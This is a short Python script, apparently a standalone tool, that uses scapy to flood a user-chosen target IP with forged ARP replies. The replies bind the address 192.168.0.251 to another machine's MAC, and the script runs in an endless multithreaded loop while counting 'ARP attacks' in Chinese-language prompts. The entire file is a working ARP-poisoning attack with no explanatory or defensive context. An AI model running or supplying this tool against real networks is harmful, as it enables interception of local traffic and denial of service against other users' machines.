# -*- coding: cp936 -*- from scapy.all import * from threading import Thread,Lock,activeCount BROADCASTMAC = getmacbyip('192.168.0.120') class Loop(Thread):     def __init__(self,ip):         Thread.__init__(self)         self.ip = ip     def run(self):         global BROADCASTMAC         arp = ARP()         arp.psrc = '192.168.0.251'         arp.hwsrc = BROADCASTMAC         arp.pdst = self.ip         arp.op = 2         sr1(arp,verbose = 0,retry = 0,timeout = 3) class Main(Thread):     def __init__(self,ip):         Thread.__init__(self)         self.ip = ip     def run(self):         limit = 100         total = 0         while True:             if activeCount() < limit:                 Loop(self.ip).start()                 total = total + 1             print '目前已进行了ARP攻击的次数为:'+str(total) if __name__ == '__main__':     ip = raw_input('请输入要进行ARP攻击的机器IP:')     Main(ip = ip).start()